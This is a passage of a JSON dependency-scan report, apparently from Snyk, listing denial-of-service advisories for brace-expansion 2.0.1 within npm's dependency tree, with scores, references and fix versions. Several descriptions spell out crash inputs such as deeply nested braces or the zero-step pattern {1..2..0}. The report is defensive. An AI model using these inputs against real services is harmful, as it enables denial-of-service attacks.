"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
